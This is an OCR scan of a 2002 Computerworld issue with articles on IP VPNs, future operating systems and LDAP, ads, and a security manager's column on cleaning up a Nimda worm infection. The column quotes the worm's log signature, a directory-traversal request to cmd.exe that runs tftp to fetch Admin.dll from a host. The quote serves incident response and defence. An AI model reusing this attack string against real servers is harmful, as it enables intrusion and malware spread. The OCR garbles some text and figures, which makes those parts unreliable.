usually  used  to  connect  one  LAN  to  another. 

-  James  Cope 


“private  IP  VPN”  service  that  rides  on  top  of  its 
frame-relay  network.  That  might  seem  contradictory, 
because  it  implies  the  creation  of  a  VPN  over  a  virtu¬ 
al  private  circuit.  And  since  the  latter  is  already  pri¬ 
vate,  why  bother? 

Different  Contexts 

Tim  Halpin,  AT&T  product  manager  for  frame  and 
Asynchronous  Transfer  Mode  services,  says  the  term 
VPN  may  be  used  in  different  contexts.  In  the  case  of 
AT&T’s  private  IP  VPN,  Halpin  says,  the  technology 
is  really  a  service  allowing  existing  AT&T  frame- 
relay  users  to  run  IP  packets  over  those  networks.  In 
the  process,  he  says,  customers  benefit  from  the  ex¬ 
isting  security  of  frame  relay’s  private  virtual  circuits 
while  getting  the  added  functionality  offered  by  IP. 

One  function,  prioritizing  network  traffic  by  class 
of  application,  is  what  attracted  Andras  Beliak  to 
AT&T’s  offering.  Beliak  is  director  of  wide-area  net¬ 
work  engineering  at  Wireless  Facilities  Inc.,  a  San 
Diego-based  contractor  that  designs  and  sets  up  cel¬ 
lular  tower  and  transmitter  systems.  Beliak  says  he 
designates  IP  videoconferencing,  which  is  suscepti¬ 
ble  to  delays  and  jitter,  as  a  high  priority,  while  set¬ 
ting  database  applications  as  medium  priority  and 
e-mail  as  “best  effort,”  AT&T’s  term  for  the  class  of 
traffic  that’s  least  important. 

“It  really  doesn’t  make  any  difference  if  an  e-mail 
gets  there  in  one  and  a  half  seconds  or  seven  seconds,” 
Beliak  explains,  but  he  adds  that  jerky  video  or  voice 
audio  that’s  out  of  sync  with  video  is  unacceptable. 
Beliak  also  says  he  designates  a  voice  over  IP  phone 
system  over  the  AT&T  network  as  high-priority  traf¬ 
fic.  Otherwise,  he  says,  callers  may  have  to  put  up 
with  voice  delay  and  echo  when  they’re  on  the  phone. 

To  prioritize  by  class  of  traffic,  both  AT&T  and 
Equant  employ  Multiprotocol  Label  Switching 
(MPLS)  routing.  MPLS  is  an  IETF  specification  that 
enables  routers  at  the  edge  of  networks  to  read  spe¬ 
cial  tags  on  IP  packets.  That  bypasses  destination 
lookup  in  routers  at  the  core  of  the  network,  which 
helps  speed  routing  and  affords  quality  of  service  at 
levels  that  can  support  a  variety  of  types  of  network 
traffic,  including  video,  says  Jim  Slaby,  an  analyst  at 
Giga  Information  Group  Inc.  in  Cambridge,  Mass. 

Stoddard  says  APL  also  chose  the  VPN  service 
from  Equant  because  of  its  MPLS  routing  capabili¬ 
ties,  which  she  hopes  will  facilitate  voice  and  video 
across  the  network  as  well  as  time-sensitive  traffic 
involving  scheduling  and  shipping. 

The  use  of  MPLS  in  conjunction  with  a  frame- 
relay  system  that  can  understand  IP  also  translates 
into  the  same  service-level  guarantees  for  latency  — 
120M  bit/sec.  for  data  to  make  a  round  trip  on  the 
network  —  on  AT&T’s  private  IP  VPN,  says  Halpin. 

That’s  one  reason  why  Beliak  says  the  $1,800  that 
Wireless  Facilities  pays  for  each  1.5M  bit/sec.  per 
month  —  about  $150,000  per  month  —  is  money  well 
spent.  Like  other  VPN  users,  he  has  found  that  find¬ 
ing  the  right  provider  to  meet  his  needs  is  priceless.  I 


Cope  is  a  freelance  writer  in  Notre  Dame,  Ind.  He  can  be 
reached  atjamescopeus@yahoo.com. 


Some  users  looking  for  an  alternative  to  a  VPN  are 
turning  to  secure  file  sharing.  Find  out  more  at  the 
Computerworld  Web  site: 

www.computerwortd.com/q?26954 
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Brave  New  OS 

Operating  systems  will  become  highly  distributed  and  self-healing 
and  will  collaborate  with  applications.  By  Gary  H.  Anthes 


Quick 

MO 


For  a  list  of  some  operating  system 
research  projects  now  under  way, 
visit  the  Computerwofld^eh  site: 

www.computefwoiid.coin/q?27001 


IMAGINE  COMPUTERS  in  a  group 
providing  disk  storage  for  their 
users,  transparently  swapping 
files  and  optimizing  their  collec¬ 
tive  performance,  all  with  no  cen¬ 
tral  administration.  But  the  machines 
providing  this  pool  of  virtual  storage 
dare  not  trust  one  another  completely. 
Indeed,  a  hacker  takes  over  one  of  them 
and  ruthlessly  begins  attacking  others 
in  the  group. 

But  not  to  worry.  Thanks  to  an  exper¬ 
imental  operating  system  technology 
called  Byzantine  fault-tolerant  proto¬ 
cols,  users  and  their  data  are  protected. 

That  scenario  is  part  of  the  Farsite 
project  at  Microsoft  Corp.  Farsite  is  just 
one  of  several  projects  at  Microsoft  Re¬ 
search  and  other  labs  around  the  world 
that  will  render  operating  systems  all 
but  unrecognizable  in  10  years.  Farsite 
embodies  several  characteristics  — 
such  as  fault  tolerance,  self-tuning  and 
robust  security  —  that  will  distinguish 
operating  systems  of  the  future. 

Farsite  is  a  serverless,  distributed  sys¬ 
tem  that  doesn’t  assume  mutual  trust 
among  its  client  computers.  Although 
there’s  no  central  server  machine,  the 
system  as  a  whole  looks  to  users  like  a 
single  file  server.  High  reliability  and 
security  are  ensured  because  each  file 
has  one  or  more  encrypted  and  digitally 
signed  replicas  elsewhere  in  the  cluster. 

The  target  environment  for  Farsite  is 
an  organization  in  2006  with  100,000 
computers,  10  billion  files  and  10 
petabytes  (10,000TB)  of  data. 

While  Farsite  is  aimed  at  data  stor¬ 
age,  the  Odyssey  project  at  Carnegie 
Mellon  University  in  Pittsburgh  is  fo¬ 
cused  on  making  operating  systems 
more  mobile.  Computer  science  profes¬ 
sor  Mahadev  Satyanarayanan  envisions 
operating  systems  that  are  “application- 
aware”  and  can  tailor  the  delivery  of  re¬ 
sources  such  as  bandwidth  and  battery 
power  accordingly. 

For  example,  imagine  a  mobile  user 
getting  full-motion  color  video  via  a 
high-bandwidth  wireless  network,  but 
then  the  mobile  computer  passes  into 
the  shadow  of  a  building.  “So  the  oper¬ 
ating  system  alerts  the  application  and 
says,  ‘I  know  you  wanted  2M  bit/sec.. 


^■View  From  Retbnond 

Microsoft  says  that  within  10  years, 
operating  systems  will  have  the  fol~ 
lowing  characteristics: 

WORLDWIDE  SCAUBIUTY.  Logically, 
there’s  just  one  system,  but  it’s  partitioned 
into  many  pieces  in  many  places. 

SEAMLESS  DISTRIBUTION.  Theoperat- 
ing  system  decides  where  data  resides  and 
where  computation  occurs. 

FAULT  TOLERANCE.  The  system  transpar- ; 
entiy  handles  failures  and  the  removal  of  re¬ 
sources,  without  loss  of  data  or  functionality. 

SELF-CONFIGURATION  AND  SELF¬ 
TUNING.  New  resources  are  automatically 
assimilated,  and  the  system  optimizes  its  own 
performance  and  resource  use. 


but  right  now,  life  is  grim.  The  best  I 
can  give  you  is  lOOK  bit/sec.,’  ”  Satya¬ 
narayanan  says.  “The  application  has  to 
have  a  notion  of  lower  fidelity;  it  has  to 
know  it  can’t  show  it  at  10  frames  a  sec¬ 
ond  in  color,  but  it  can  show  it  at  two 
frames  a  second  in  black  and  white.” 

Satyanarayanan  describes  it  as  a  “col¬ 
laborative  relationship”  in  which  operat¬ 


ing  systems  monitor  resources  and  help 
applications  adapt  to  them.  His  research 
group  is  building  application  awareness 
into  Linux  and  has  already  proved  the 
collaborative  concept  on  a  small  scale. 
The  needs  of  mobile  computing  will  re¬ 
make  operating  systems  over  the  next 
five  to  seven  years,  he  says. 

Meanwhile,  IBM  Research  in  York- 
town  Heights,  N.Y.,  is  hard  at  work  mak¬ 
ing  operating  systems  more  scalable. 

It’s  extending  Linux  —  and  developing 
operating  system  kernels  to  run  under 
it  —  to  control  a  computer  with  65,000 
processors.  As  part  of  its  $100  million 
Blue  Gene  research  project,  IBM  plans 
to  build  a  computer  operating  at  1 
quadrillion  floating-point  operations 
per  second  to  attack  problems  such  as 
protein  folding. 

Blue  Gene  is  “the  ultimate  test”  for 
many  of  the  principles  unfolding  in 
IBM’s  Autonomic  Computing  initiative, 
says  Bill  Pulleyblank,  director  of  ex¬ 
ploratory  server  systems  at  IBM  Re¬ 
search.  The  program  aims  to  make 
operating  systems  “self-optimizing, 
self-configuring,  self-healing  and  self- 
protecting,”  like  the  human  body’s 
autonomic  nervous  system,  he  says. 

IBM  envisions  “goal-oriented  inter¬ 
faces”  between  users  and  the  operating 
system,  Pulleyblank  says.  “Instead  of 
[the  application]  saying,  ‘Hey,  operating 
system,  give  me  more  memory  or  more 
disk  space,’  it  says,  ‘The  average  re¬ 
sponse  time  I  need  on  these  transac¬ 
tions  must  be  at  most  10msec.  Do  it.’  ” 

Such  goal-oriented  relationships  will 
make  it  easier  to  write  application  soft¬ 
ware  and  will  make  it  run  more  effi¬ 
ciently,  Pulleyblank  says.  I 


Farsite 

“Federated,  Available  and  Reliable  Storage  for  an  Incompletely  Trusted  Environment” 


2.  File  is  signed,  encrypted. 


4.  File  is  sent  from  storage 
machine  to  requesting  machine. 


3.  RIe  is  requested  by  a  client. 


One  or  more  machines 
receive  replicated  files. 


5.  RIe  is  decrypted  on  client  machine 
if  client  has  read  permission. 


A 

WebSphere  software 


THEY  CAME  LOOKING  FOR  THE  SOFTWARE  CHOSEN  BY  LEADING  E-BUSINESSES.  THEY  FOUND: 


WEBSPHERE  47  eBay 

IBM  WebSphere  is  the  fastest-growing  e-business  software  platform:  eBay,  one  of  the  most 
successful  “born  on  the  Web”  companies,  has  turned  to  WebSphere  infrastructure  software  as  it  gets  even 
more  serious  about  e-business.  WebSphere  has  the  scalability  to  build,  launch  and  maintain  a  massive 
around-the-clock  site  like  eBay  Over  thirty  million  registered  eBay  users  will  rely  on  the  dependability  of 
WebSphere  when  they  buy  collectibles,  electronics  and  B-to-B  services.  Visit  lbm.com/websphere/ebay 


business  software 


IT’S  A  DIFFEREKT  KIND  OF  WORLD. 

YOU  NEED  A  DIFFERENT  KIND  of  SOFTWARE. 


■ 


TECHNOLOeYQUICKSTUDY 

HOT  TRENDS  &  TECHNOLOGIES  IN  BRIEF 


COMPUTERWORLD  February  11. 2002 


LDAP 


DEFINITION 

Lightweight  Directory  Access  Protocol  (LDAP)  was  devel¬ 
oped  as  a  PC-based  front  end  to  access  X.500-conipliant 
directories.  It  uses  less  code  than  X.500,  so  it’s  more 
viable  for  client-side  applications.  LDAP  works  over 
TCP/IP  and  organizes  people,  devices  and  applica¬ 
tions  in  a  hierarchical  tree  structure  that  reflects 
geographical,  political  and  organizational  boundaries. 


BY  JENNIFER  DISABATINO 

LL  DIRECTORIES 
“basically  serve 
as  a  way  for  ap¬ 
plications  to  look 
up  other  applica¬ 
tions,  for  people  to  look  up  oth¬ 
er  applications  or  resources,  or 
for  managers  to  look  up  reser¬ 
vations  or  resources,”  says  Dan 
Blum,  an  analyst  at  The  Burton 
Group  in  Midvale,  Utah.  On 
the  Internet,  the  most  preva¬ 
lent  directory  structure  is 
Lightweight  Directory  Access 
Protocol  (LDAP). 

LDAP  was  originally  created 
to  be  a  trimmed-down,  lower- 
overhead  version  of  another 
directory  protocol  —  the  inter¬ 
national  X.500  standard  —  and 
is  considered  to  be  an  easy  key 
to  the  “white  pages”  of  the  net¬ 
work.  The  distinction  between 
the  two  has  always  been  that 
LDAP  is  incomplete  but  can  be 
implemented  quickly  and  effi¬ 
ciently,  and  X.500  has  a  com¬ 
prehensive  structure  but  re¬ 
quires  a  lot  of  coding. 

“LDAP  itself  is  general-pur¬ 
pose  in  nature.  It  can  support 
many  different  types  of  appUca- 
tions,”  says  Tim  Howes,  one  of 
the  co-authors  of  LDAP.  Howes 
is  now  chief  technology  officer 
and  co-founder  of  Loudcloud 
Inc.  in  Sunnyvale,  Calif. 

“Today,  [LDAP]  is  often  used 
to  provide  the  e-mail  address 
book  functionality  of  your 
e-mail  client,  the  phone  book 
application  inside  your  corpo¬ 
rate  firewall  and  the  authenti¬ 
cation  and  access-control  en¬ 
gine  behind  many  of  the  Web 
sites  you  visit,”  he  says.  “Many 
other  applications  are  also  pos¬ 
sible  and  in  common  usage.” 

The  much  more  complex 
X.500  directory  protocol  has 
been  pushed  as  a  standard 
since  the  late  1980s,  but  it  has 
never  been  fully  adopted,  at 
least  in  part  because  it  initially 
required  so  much  space  on  the 
client  side  that  PCs  couldn’t 


really  handle  it.  PC  processing 
has  grown  enough  that  this  is 
no  longer  a  problem,  but  LDAP 
is  still  the  directory  of  choice 
for  many  technology  vendors, 
and  it’s  at  the  heart  of  Win¬ 
dows  2000’s  Active  Directory. 

In  the  early  1990s,  Howes, 
William  Yeong  and  S.  Kille  cre¬ 
ated  LDAP  at  the  University  of 
Michigan  in  Ann  Arbor.  Since 
then,  it  has  become  a  standard 
in  40  countries  and  is  used  by 


LDAP's  Basic 
Structure 

An  LDAP  directory  implemen¬ 
tation  typically  uses  the  tree 
structure  shown  here,  with  at¬ 
tributes  for  country,  organiza¬ 
tion,  organizational  unit  and 
user  ID  (or  group).  More  levels 
can  be  added  if  they're  appro¬ 
priate  to  the  organization. 


many  of  the  world’s  biggest  IT 
vendors,  including  IBM,  Sun 
Microsystems  Inc.  and  Micro¬ 
soft  Corp. 

What  LDAP  does  well  is  re¬ 
duce  the  amount  of  data  neces¬ 
sary  to  locate  a  person,  appli¬ 
cation  or  device  on  a  network, 
or  even  on  the  Internet.  “LDAP 
directory  information  is  con¬ 
tained  in  entries  composed  of 
attributes  [such  as  name,  ad¬ 
dress  or  e-mail],”  Howes  says. 
“Entries  can  be  arranged  in 
treelike  structures  for  easier 
administration  and  browsing.” 
Entries  on  the  network  are  de¬ 
fined  beginning  at  the  country 
level,  then  by  region,  organiza¬ 
tion,  department  and  indivi¬ 
dual  or  group. 

LDAP  has  become  the  direc¬ 
tory  access  protocol  of  choice, 
in  part  because  it  was  adopted 
as  a  standard  not  long  after  its 
introduction.  It’s  also  attractive 
to  network  administrators,  who 
can  decide  how  to  organize  ac¬ 
cess  for  users,  applications  and 
other  entities,  such  as  servers. 

Because  it’s  a  standard  and  so 
widely  used  for  accessing  direc¬ 
tory  information,  LDAP  is  find¬ 
ing  its  way  into  new  types  of  ap¬ 
plications.  Metamerge  in  Oslo, 
for  example,  is  using  its  LDAP- 
based  directory  product  for 
network  provisioning  functions 
that  simplify  administration. 

But  LDAP  has  limitations. 


According  to  Howes,  it  isn’t  a 
replacement  for  file  servers, 
relational  databases  and  the 
Domain  Name  System.  While 
it’s  very  flexible  and  allows  net¬ 
work  administrators  the  free¬ 
dom  to  reflect  the  organization 
of  a  company  in  the  directory, 
it  still  has  some  problems 
with  efficiency. 

Communication  Barriers 

Like  X.500,  LDAP  uses  geo¬ 
graphical,  political  and  organi¬ 
zational  constructs  from  the 
off-line  world  to  construct  the 
directory.  Thus,  communica¬ 
tion  can  break  down  between 
users  in  different  organiza¬ 
tions,  even  though  their  direc¬ 
tories  are  based  on  LDAP. 

Consider,  for  example,  a  case 
in  which  two  pharmaceutical 
companies  are  working  togeth¬ 
er  to  develop  a  new  drug,  but 
each  uses  a  different  messaging 
technology.  One  is  a  Windows 
2000  shop  that  uses  Outlook 
and  Exchange  for  messaging, 
while  the  other  uses  Lotus 
Notes  and  Domino.  They  have 
different  naming  schemes  and 
rules.  How  can  one  system  se¬ 
curely  authenticate  users  and 
encrypt  messages  on  another 
system  if  it  doesn’t  recognize 
their  naming  rules?  The  prob¬ 
lem  occurs  because  public-key 
infrastructure  (PKI)  certifi¬ 
cates  are  stored  according  to 


the  rules  of  the  specific  appli¬ 
cation  or  directory  protocol 
they  serve. 

The  user  name  in  Micro¬ 
soft’s  Active  Directory  would 
be  john.doe(a)company.com.  A 
PKI  certificate  in  Active  Direc¬ 
tory  would  search  for  the  pub¬ 
lished  key  of  a  Notes/Domino 
user  but  wouldn’t  be  able  to 
find  it  under  the  naming  rules 
that  guide  it.  So  if  John  Doe 
wants  to  send  an  encrypted 
message  to  Jane  Smith,  his 
counterpart  in  the  other  com¬ 
pany,  he  would  have  to  be  on 
the  same  e-mail  system. 

“You  can  write  scripts  to 
overcome  the  translation,  but 
that  requires  a  lot  of  work,” 
says  Michele  Rubenstein,  a  se¬ 
curity  expert  and  president  of 
the  Electronic  Messaging  As¬ 
sociation,  as  well  as  co-chair- 
woman  of  the  Global  Directory 
Forum  at  the  World  EMA,  a 
consortium  of  electronic  mes¬ 
saging  organizations.  “You  can 
[also]  create  a  metadirectory  to 
publish  [the  PKI  certificate]  in 
a  more  usable  format  for  what¬ 
ever  it  is  that  you’re  doing.” 

“LDAP  also  never  solved  the 
problem  of  distributed  entry  — 
that  is,  a  person  being  known 
by  different  names  throughout 
the  system,”  Blum  says.  So  if 
John  Doe  is  part  of  two  work¬ 
groups  in  a  company,  his  e-mail 
address  would  be  found  in 
two  branches  of  the  directory. 
LDAP  doesn’t  inherently  iden¬ 
tify  this  as  a  duplicate  entry. 

LDAP’s  simplicity  and  open¬ 
ness  mean  that  it  has  some 
obvious  holes.  But  even  with 
those  problems,  LDAP  remains 
one  of  the  most  useful  directo¬ 
ry  systems  ever  built.  I 

■  For  a  list  of  refer¬ 
ences  and  sources 
related  to  LDAP,  visit 
Computerworidxom  at 

www.computerwor1<l.coin/q?26838 

■  For  a  complete  list  of  Technology  Quick- 
Studies.  visit  Computemorld.com  at 

www.compiiterworld.coin/q?q3000 


■  Are  there  technologies  or  issues  you  would  like  to  learn  about  in  QuickStudy?  Please  send  your  ideas  to  quickstudy@computerworld.com. 
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Active  Archive  Solutions."  The  intelligent  way  to  optimize  database  performance. 

It’s  crowded.  It’s  slow.  It’s  your  database.  Paying  for  more  hardware  isn’t  the  answer;  smarter  data  management  is. 
Presenting  Princeton  Softech’s  Active  Archive  Solutions?  Active  archiving  removes  infrequently  used  data,  yet  keeps 
that  data  “active”  for  easy  access.  Freeing  up  room  in  your  database  and  improving  performance.  So  if  it’s  space  you 
want,  Store  Smarter.  Call  800.457.7060  or  visit  www.storesmarter.com. 

O  2002  Pnr>ceton  Sotted^  Inc.  All  rights  resenred. 
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What  Do  "Vbu  Do  When 
’feu’re  Nipped  by  Mmda? 

Our  freewheeling  security  manager  changes  jobs 

and  immediately  faces  an  extensive  worm  attack 


BY  MATHIAS  THURMAN 

ELL,  I’VE  DONE  IT 
again:  I’ve  changed 
positions.  I  ended 
my  contract  engage¬ 
ment  with  my  old 
employer  and  moved  on  to  a  high-tech 
company.  I’ve  been  brought  in  to  assist 
in  the  architectural  design,  engineering 
and  building  of  a  new  IT  security  infra¬ 
structure. 

The  security  infrastruc¬ 
ture  we  have  needs  a  lot  of 
work.  A  year  ago,  we  had 
fewer  than  1,000  employ¬ 
ees.  Today,  that  number 
exceeds  7,000.  We  have  no 
security  policies,  our  fire¬ 
wall  rule  base  exceeds 
1,500  lines,  and  we  lack  a 
good  centralized  access 
control  mechanism,  secu¬ 
rity  auditing  tools  and  ade¬ 
quate  virus  protection.  In 
fact,  we  just  suffered  a  mas¬ 
sive  Nimda  worm  infesta¬ 
tion,  so  I’ve  had  to  hit  the 
ground  running. 

The  Nimda  worm,  first 
discovered  in  September, 
is  nasty  in  that  it  uses  mul¬ 
tiple  methods  to  spread  throughout  the 
Internet.  One  is  to  attack  Web  servers 
running  unpatched  versions  of  Micro¬ 
soft’s  Internet  Information  Server  (IIS). 
The  worm  exploits  several  known  IIS 
vulnerabilities,  and  once  Nimda  installs 
itself  on  one  server,  it  searches  the  In¬ 
ternet  for  other  vulnerable  Web  servers 
and  starts  the  process  again. 

Another  method  of  infestation  is  by 
way  of  LAN-based  attacks.  After  infect¬ 
ing  the  victim  server,  the  worm  adds 
the  “guest”  account  to  the  server’s  ad¬ 
ministrator  group.  Since  anyone  can  log 
on  as  “guest”  without  a  password,  this 
opens  up  the  system  so  that  anyone  on 
the  Internet  can  log  on  to  the  com¬ 
promised  system.  Once  logged  in,  at¬ 
tackers  can  read  any  file,  and  in  some 
cases,  they  may  be  able  to  remotely 
control  the  server. 


The  Nimda  attack  started  with  a 
combination  of  two  events.  The  first 
was  a  series  of  e-mail  messages  from 
several  external  Internet  service  pro¬ 
viders  and  commercial  Internet  compa¬ 
nies.  The  messages  contained  informa¬ 
tion  regarding  numerous  port  scans 
perpetrated  against  their  infrastruc¬ 
ture.  The  soiuce  IP  addresses  of  the 
scans,  according  to  the  e-mails,  were 
registered  to  our  company.  In  addition, 
the  port  scans  were  direct¬ 
ed  against  their  port  80 
(HTTP)  and  nothing  else. 
This  seemed  odd  because 
malicious  port  scans  are 
usually  directed  against 
many  different  ports  on  a 
network. 

The  second  event  came 
to  light  when  our  network 
operations  center  noticed 
a  significant  amount  of 
egress,  or  outbound,  traffic 
and  a  few  intermittent  serv¬ 
er  outages.  With  that  infor¬ 
mation,  we  set  up  a  spare 
Linux  system  to  monitor 
one  of  the  network  seg¬ 
ments,  which  we  suspected 
as  the  source  of  the  attacks. 
Unfortunately,  we  have  no  active  intru¬ 
sion  detection  infrastructure  in  place 
yet,  but  the  Linux  box  was  a  quick,  ef¬ 
fective  and  economical  means  of  exam¬ 
ining  network  traffic. 

We  had  our  network  engineers  con¬ 
figure  an  Ethernet  switch  port  in 
Switched  Port  Analyzer  mode  in  order 
to  monitor  the  traffic  at  the  internal  in¬ 
terface  of  our  core  firewall.  We  figured 
this  would  be  a  good  place  to  watch 
outbound  traffic  from  our  network.  But 
the  amount  of  traffic  was  enormous,  so 
we  set  up  filters  to  capture  only  out¬ 
bound  HTTP  traffic  and  quickly  dis¬ 
covered  what  was  happening. 

An  excerpt  from  the  logs  revealed 
the  following  decoded  data:  /_vti_bin/ 
..%255c../..%255c../winnt/system32/cmd 
.exe?/c+tftp%20-i%20X.X.X.X%20GET 
%20Admin.dll%20d:\Admin.dll. 


This  decoded  packet  (the  x’s  repre¬ 
sent  the  IP  address  of  our  infected  serv¬ 
er)  clearly  showed  the  signature  of  a 
Nimda-infected  server.  The  “%255c” 
combined  with  “cmd.exe”  were  enough 
to  make  a  positive  diagnosis. 

With  some  work,  we  were  able  to 
generate  a  list  of  infected  hosts  on  our 
network.  There  were  hundreds!  Some 
of  the  hosts  were  revenue-generating 
e-commerce  Web  servers.  Others  were 
development  workstations.  The  rest 
were  a  combination  of  technical  sup¬ 
port  servers  and  individual  desktops. 

The  next  problem  was  that  our  desk¬ 
top  computers  use  Dynamic  Host  Con¬ 
figuration  Protocol  (DHCP),  which  as¬ 
signs  random  IP  addresses  to  network 
clients  each  time  they  log  in.  Therefore, 
even  if  we  tracked  down  the  suspected 
IP  addresses  to  a  specific  machine,  it 
might  not  be  the  same  desktop  as  the 
logs  initially  indicated. 

Cleanup,  Don't  Disrupt 

We  needed  to  take  immediate  action. 
It  doesn’t  look  good  if  external  compa¬ 
nies  know  you  have  a  Nimda  problem. 
We  couldn’t  just  pull  the  plug  on  our 
corporate  Web  site,  which  is  one  of  our 
main  sources  of  revenue.  But  with  the 
DHCP  issue,  by  the  time  we  could  iden¬ 
tify  the  infected  server,  the  IP  address 
might  have  changed.  So  we  had  an  emer¬ 
gency  meeting  with  our  network  engi¬ 
neers  and  discussed  enabling  Cisco’s 
network-based  apphcation  recognition 
(NBAR)  feature  on  our  routers. 

NBAR,  part  of  the  Cisco  Internet¬ 
working  Operating  System,  lets  you 
configure  special  access  lists  that  look 
for  and  block  specific  packets  based  on 
the  data’s  payload.  The  problem  is  that 
by  enabling  NBAR,  we  risked  network 
degradation  because  the  router  must 
then  inspect  each  packet  for  specified 
keywords.  Ideally,  routers  should  route 
packets  and  application  proxies  should 
filter  them  based  on  payload. 

However,  with  the  resources  at  hand, 
enabling  NBAR  seemed  to  be  the  quick¬ 
est  way  to  prevent  the  Nimda  attack 
packets  from  leaving  our  network.  It 
didn’t  fix  the  problem  internally,  but  at 
least  we  could  prevent  the  attack  from 
affecting  other  companies’  servers. 

Our  next  course  of  action  was  to 
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LINKS: 

vmw.cisco.com/warp/public/ 
63/nimda.shtml:  This  link  describes 
how  to  use  Cisco’s  network-based  ap¬ 
plication  recognition  feature  to  block 
Nimda  packets. 

wvm.cert.org/advisories/ 
CA-2001-26.html:  This  is  the  origi¬ 
nal  CERT  advisory  with  details  on  the 
Nimda  worm. 

wvm.treachery.net/-jdyson/eai1y 
bird/:  Earlybird  is  a  free,  real-time 
worm  reporting  tool.  It  watches  Web 
logs  for  suspicious  activity  and  auto¬ 
matically  composes  and  sends  an 
e-mail  incident  report  to  the  offending 
network.  The  report  contains  the  IP 
address  of  the  attacking  system  and 
the  decoded  string  from  the  packet. 

www.enteract.com/~lspitz/snoop. 
html:  Almost  every  Unix  variant  comes 
with  a  utility  that  supports  configuring 
the  server’s  network  card  to  watch  net¬ 
work  traffic.  This  paper,  “The  Secrets  of 
Snoop"  by  Lance  Spitzner,  is  an  excel¬ 
lent  introduction  to  using  the  Solaris 
Snoop  utility  for  this  purpose. 


clean  up  our  servers  and  apply  the  ap¬ 
propriate  patches.  If  you  read  the  advi¬ 
sories  issued  by  the  antivirus  software 
vendors  and  the  CERT  Coordination 
Center,  they  recommend  taking  the  IIS 
server  off-line  and  performing  a  fresh 
install  of  the  operating  system.  That’s 
nice  in  theory,  but  there  are  situations 
where  you  just  can’t  afford  to  take 
down  a  production  server. 

Fortunately,  it  is  possible  to  clean  an 
infected  server  without  reinstallation 
of  the  operating  system.  'That  said,  you 
still  must  reboot  the  server  if  you  re¬ 
place  any  Windows  Dynamic  Link  Li¬ 
brary  files.  By  installing  the  latest  virus 
protection  software,  running  a  scan, 
installing  the  appropriate  patches  and 
following  the  instructions  from  CERT, 
we  managed  to  eradicate  Nimda  on  our 
servers  and  protect  them  from  future 
infections  —  without  rebooting. 

So  now  we’re  clean.  But  the  process 
required  the  time  of  six  Windows  NT 
administrators  for  nearly  five  days.  My 
next  move  is  to  get  a  Web  proxy  and  put 
content  filtering  in  place  for  additional 
protection  from  malicious  code.  I 

Discuss  this  week’s  column  and 
catch  up  on  the  latest  security 
developments  online  at: 

www.conipiitefwortd.coin/q?q2000 


SECURITY 

MANAGER'S 

JOURNAL 


■  This  week’s  journal  is  written  by  a  real  security  manager,  “Mathias  Thurman,"  whose  name  and  employer  have  been  disguised  for  obvious  reasons.  Contact  him  at  mthurman@hushmail.com  or  go  to  the  Security  Manager’s  Journal  forum. 


You  won't  see  the  next  network 
security  threat  coming. 


smrf^ 

When  the  next  Code  Red,  Goner 
or  Nimda  comes  along,  STAY 
could  be  the  difference  between 
a  crippled  system  and  one  that's 
completely  unaffected. 


But  STATwill. 

Arming  yourself  against  the  next  threat  requires  more  than  vigilance.  It  requires  a  new  level  of  defense. 
At  Harris,  we  know;  for  more  than  25  years,  we've  helped  keep  government  networks  secure — and 
now  we're  helping  businesses  stay  ahead  of  the  enemy  with  our  STAT  intrusion  prevention  tools.  For 
example,  STAT  Neutralizer™proactively  protects  servers  and  workstations  by  using  behavioral 
analysis  to  prevent  intrusions  and  malicious  activities  from  taking  place.  STAT  Neutralizer  provides  a  new 
layer  of  security  to  defend  your  network  during  its  most  vulnerable  time —  before  an  anti-virus 
update  can  be  downloaded.  And  that's  just  the  beginning  of  what  STAT  can  do.  To  start  winning  the 
war  on  cyberattacks,  call  1  -888-725-STAT  (7828)  today  or  visit  our  website. 


next  level  solutions 

STAT  ANALYZER 

STAT  NEUTRALIZER 

STAT  SCANNER 

pro.STATonline.com 
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Vigilance  Puts  Faith  in 
Process  Management 


Vendor*s  cross-platform  process-control 
software  finds  a  niche  in  supply  chains 


BY  MARC  L.  SONGINI 

WHEN  MIKE 

Tucker,  man¬ 
ager  of  lab¬ 
oratory  ser¬ 
vices  at  en¬ 
ergy  utility  KeySpan  Corp.’s  re¬ 
search  lab,  decided  he  wanted 
to  automate  the  process  of  ana¬ 
lyzing  data  samples  and  check¬ 
ing  for  problems,  he  was  im¬ 
pressed  by  process  manage¬ 
ment  tools  from  start-up  Vigi¬ 
lance  Inc. 

Since  going  live  with  Vigi¬ 
lance’s  Alerts  and  Collabo¬ 
ration  applications  in  April, 
Brooklyn,  N.Y.-based  KeySpan 
has  been  able  to  proactively  no¬ 
tify  internal  users  when  envi¬ 
ronmental  compliance  bench¬ 
marks  are  exceeded. 

Although  Sunnyvale,  Calif.- 
based  Vigilance  is  mainly  seen 
as  a  supply  chain  management 
(SCM)  player,  says  Tucker,  its 
software  can  be  used  in  the  lab 
to  improve  user  satisfaction.  He 
says  he  also  sees  several  other 
uses  for  the  product  throughout 
KeySpan,  such  as  for  monitor¬ 
ing  gas  distribution  and  emer¬ 
gency  response  systems. 

Tucker  was  also  intrigued 
with  the  ability  of  the  applica¬ 
tions  to  communicate  with 
many  different  user  interfaces 
—  not  just  browsers,  but  also 
pagers  and  personal  digital  as¬ 
sistants.  This  allows  Vigilance 
to  immediately  send  out  alerts 
to  appropriate  personnel. 

Multitasking 

The  rollout  required  Key- 
Span  to  purchase  two  dedicat¬ 
ed  Windows  NT  servers. 

“Buying  $25,000  worth  of 
servers  is  nothing  to  sneeze 
at,”  Tucker  says.  “But  if  I  can 
spread  the  cost  of  those  out 
into  multiple  tasks  ...  in  the 
end,  the  cost  of  the  servers  will 
be  minimal.” 


Vigilance  itself  is  trying  to 
make  a  point  about  the  wide 
variety  of  business  processes 
its  products  can  handle  —  both 
in  and  out  of  the  supply  chain. 
Users  can  apply  the  software  to 
multiple  functions,  such  as  em¬ 


ployee  management  and  other 
things,  says  Dave  Busch,  vice 
president  of  marketing  at  Vigi¬ 
lance.  Plain  SCM  is  “passe,” 
he  claims,  adding  that  “people 
are  looking  for  the  complete 
business-process  management 
stack  we’re  coming  out  with.” 

After  the  software  detects 
an  “exception,”  it  issues  alerts 
to  let  users  intervene  manu¬ 
ally  to  address  the  problem  or 


JONATHAN  GOLOVIN  and  Subhash  Tantry  say  their  event 
management  tools  have  applications  beyond  the  supply  chain. 


Vigilance  Inc. 

270  Santa  Ana  Court 
Sunnyvale,  Calif.  94085 
(408)  907-1050 

Web:  www.vigilance.com 

Niche:  Vigilance’s  business- 
process  management  and  auto¬ 
mation  software  detects  errors  or 
malfunctioning  processes  across 
different  systems. 

Company  officers: 

•  Jonathan  Golovin,  co-founder 
and  CEO 

